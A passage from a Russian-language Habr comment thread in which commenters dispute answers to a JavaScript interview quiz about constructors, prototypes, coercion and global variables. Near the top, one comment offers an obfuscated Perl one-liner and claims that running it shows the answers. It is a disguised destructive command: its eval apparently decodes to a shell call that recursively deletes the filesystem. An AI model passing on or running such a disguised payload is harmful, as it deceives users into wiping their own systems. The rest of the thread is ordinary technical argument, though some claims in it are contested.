Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Ответы можно посмотреть, запустив данный скрипт.
echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
Test 1.1: functionЕсли все «классы» — это функции, можно пример функции, которая не является «классом», если ее вызвать через
Array это функция, как и все классы в javascript.
new? Запишем — что такое конструктор, вы не знаете.Test 1.2: objectДа?
prototype функции — это Object
function C() {}; C.prototype = ['неправда, вы не знаете JS']; console.log((new C)[0]);Test 1.3: functionЭто просто функция. Если вызвать ее, как
push — это метод Array, определенный в prototype
Array.prototype.push('foo'), ничего хорошего не случится. Чтобы быть «методом», ее нужно вызывать, как [].push('foo'). Хотя с точки зрения системы типов это все равно функция, в prototype — это пока не метод.Test 2.1: falseНу т.е. скажем,
пустая строка преобразуется в false
var a = {}; a[false] = 'foo'; a[""] = 'bar'; console.log(a[false] == a[""]); выведет true, правильно? :)Test 2.2: trueВеликолепные рассуждения. Значит,
null и undefined при преобразовании к boolean оба дают false
null == 0, верно? Оба ж приводятся к false. Смотрите стандарт, 11.9.3, пожалуйста.Test 2.3: trueОпять такая же глупость, как и выше, и снова острая необходимость посмотреть 11.9.3 и 9.3.1.
!!n = false, n (пустая строка) тоже false
Test 5: falseА ваш же тест 2.2 говорит, что равны. Да, говорить, что «prototype работает только на конструкторах» — глупота. Если заменить объявление на
s.prototype — это отвлекающий маневр. prototype работает только на конструкторах (функциях). Поэтому s.b — undefined. И здесь подковырка — равны ли 0 и undefined? Нет, не равны.
s = function() {}; s.prototype.foo = 42;, s.foo не станет равно чему-то осмысленному.Test 9.1: trueПо вашему,
Переменная x была создана в глобальном контексте — т.е. она член window. При запуске функции this = window. То есть это условие верно.
var lolka = 123; console.log(window.lolka); выведет 123? Я вас разочарую :)Test 9.2: trueНет,
Да, window.x равна undefined.
window.x не определена — поэтому и undefined. Попробуйте Object.getOwnPropertyDescriptor(this, 'x'), убедитесь сами.Test 9.3: trueИ значение этой переменной никак не влияло на значение непосредственно
Вот здесь интересный момент. Что такое undefined на самом деле? Это переменная window.undefined. В ранних версиях браузера ее можно было переопределить.
undefined. Это свойство существует из соображений обратной совместимости.Если все «классы» — это функции, можно пример функции, которая не является «классом», если ее вызвать через new?
isNaN.prototype функции — это Object
Да?По вашему примеру:
function F () {}; F.prototype = ['bar'];
typeof F.prototype; // "object"
F.prototype instanceof Object; // true
Это просто функция. Если вызвать ее, как Array.prototype.push('foo'), ничего хорошего не случится. Чтобы быть «методом», ее нужно вызывать, как [].push('foo'). Хотя с точки зрения системы типов это все равно функция, в prototype — это пока не метод.А если вызвать
Array.prototype.push.call([], 42)?А ваш же тест 2.2 говорит, что равны. Да, говорить, что «prototype работает только на конструкторах» — глупота. Если заменить объявление на s = function() {}; s.prototype.foo = 42;, s.foo не станет равно чему-то осмысленному.Вы наверное не поняли, вопрос был на внимательность; в идеале, если кандидат сразу отметит, что определять свойство prototype в том объекте нет никакого смысла и это уловка.
Переменная x была создана в глобальном контексте — т.е. она член window. При запуске функции this = window. То есть это условие верно.
По вашему, var lolka = 123; console.log(window.lolka); выведет 123? Я вас разочарую :)Выполните свой код в глобальном контексте.
isNaNisNaN — это функция не JavaScript, это функция на языке реализации движка JavaScript, а это две большие разницы. Так как она не реализована на JavaScript, ее свойства нельзя отнести к особенностям и возможностям языка, как нельзя, например, повторить семантику функций
window.prompt() или window.alert() или создать пользовательский falsy-объект. Правильным ответом с вашей стороны должна была стать стрелочная функция:var f = () => null;
new f // TypeError: f is not a constructorУ стрелочных функций нет собственного this, они наследуют this в области видимости определения, поэтому и конструкторами быть не могут.По вашему примеру:
;)function F () {}; F.prototype = ['bar']; typeof F.prototype; // "object" F.prototype instanceof Object; // true
function F() {}
F.prototype = null;
console.log((new F).__proto__ instanceof Object); // false
console.log(Object.create(null).__proto__ instanceof Object); // false
F.prototype = function() {};
console.log(typeof (new F).__proto__); // "function";)А если вызвать Array.prototype.push.call([], 42)?Вот выполнив
.call, .apply или .bind, вы и превращаете функцию в «метод», назначив ей контекст выполнения. Поэтому Array.prototype.push.bind([]) — «метод», а Array.prototype.push — функция (ну или, точнее сказать, в такой записи это «метод», но над Array.prototype).Вы наверное не поняли, вопрос был на внимательность; в идеале, если кандидат сразу отметит, что определять свойство prototype в том объекте нет никакого смысла и это уловка.Неверные объяснения, как я понимаю, тоже являются уловкой и проверкой на внимательность самих проверяющих — если проверяющий согласился с таким объяснением, значит сразу в отбраковку обоих :)
Выполните свой код в глобальном контексте.Да, увы, здесь ваша правда.
var A = function(){
this.items = [];
}
A.prototype = {
addItem: function(item){
this.items.push(item);
}
};
var B = extend(A, {
constructor: function(){
this.addItem(Math.random);
}
})
var elements = [
new B,
new B
];
можно пример функции, которая не является «классом», если ее вызвать через new?И таких функций много в JS, которые нельзя использовать в качестве конструктора.
function F () { if (this instanceof F) throw TypeError('F() is not a constructor'); }
isNaN — это функция не JavaScript, это функция на языке реализации движка JavaScript, а это две большие разницы. Так как она не реализована на JavaScript, ее свойства нельзя отнести к особенностям и возможностям языкаДопустим я понял, что вы имели в виду в первом предложении. Но вот выделенное мне не очень ясно. Можно ли сказать тоже самое про остальные объекты/функции, описанные в спеке?
Правильным ответом с вашей стороны должна была стать стрелочная функция:Ну вот видите, сами ответили на свой вопрос. Раз знали ответ заранее, значит решили потроллить автора :)
function F() {} F.prototype = null; console.log((new F).__proto__ instanceof Object); // false
instanceof ищет прототип конструктора в цепочке прототипов объекта, сам же прототип в примере выше будет объектом:typeof (new F).__proto__; // "object"
Object.prototype.toString.call((new F).__proto__); // "[object Object]"
Object.create(null) — особенный случай.Использовать аксессор Object#console.log(Object.create(null).__proto__ instanceof Object); // false
__proto__ в этом случае не корректно, доступа к нему там просто нет. Поэтому и undefined. И мы всё же обсуждаем создание объектов конструкторами, поэтому правильнее:function F () {}; F.prototype = Object.create(null);
var proto = Object.getPrototypeOf(new F);
typeof proto; // "object"
Object.prototype.toString.call(proto); // "[object Object]"
Вы забыли проF.prototype = function() {}; console.log(typeof (new F).__proto__); // "function"
(new F).__proto__ instanceof Object; // trueObject instanceof Function === Function instanceof Object; // true)Неверные объяснения, как я понимаю, тоже являются уловкой и проверкой на внимательность самих проверяющих — если проверяющий согласился с таким объяснением, значит сразу в отбраковку обоих :)Меня бы ответ автора на 5-й вопрос устроил. Я бы, пожалуй, уточнил, что надо поменять (используя прототип), чтобы сравнение было истинным. Впрочем, с многими остальными ответами не всё так плохо. С ремаркой: если не придираться к терминологии, некоторым пробелам, путанице с неявным преобразованием (спеку почитает). Мы же понимамаем, что эти вопросы не для сеньора с серьёзным практическим/теоретическим бэкграундом? :) Хотя, как я уже писал и соглашусь с остальными, такого рода вопросы слишком оторваны от реальных задач и более уместны для квизов (just for fun).
говорить, что «свойство prototype работает только на конструкторах» — глупота.
j = 1;
j = 2;
console.log(j);
console.log(j);
"a<zwnj>b" и "ab" — разные идентификаторы, которые, тем не менее, выглядят одинаково во многих редакторах.
Вопросы на собеседовании по javascript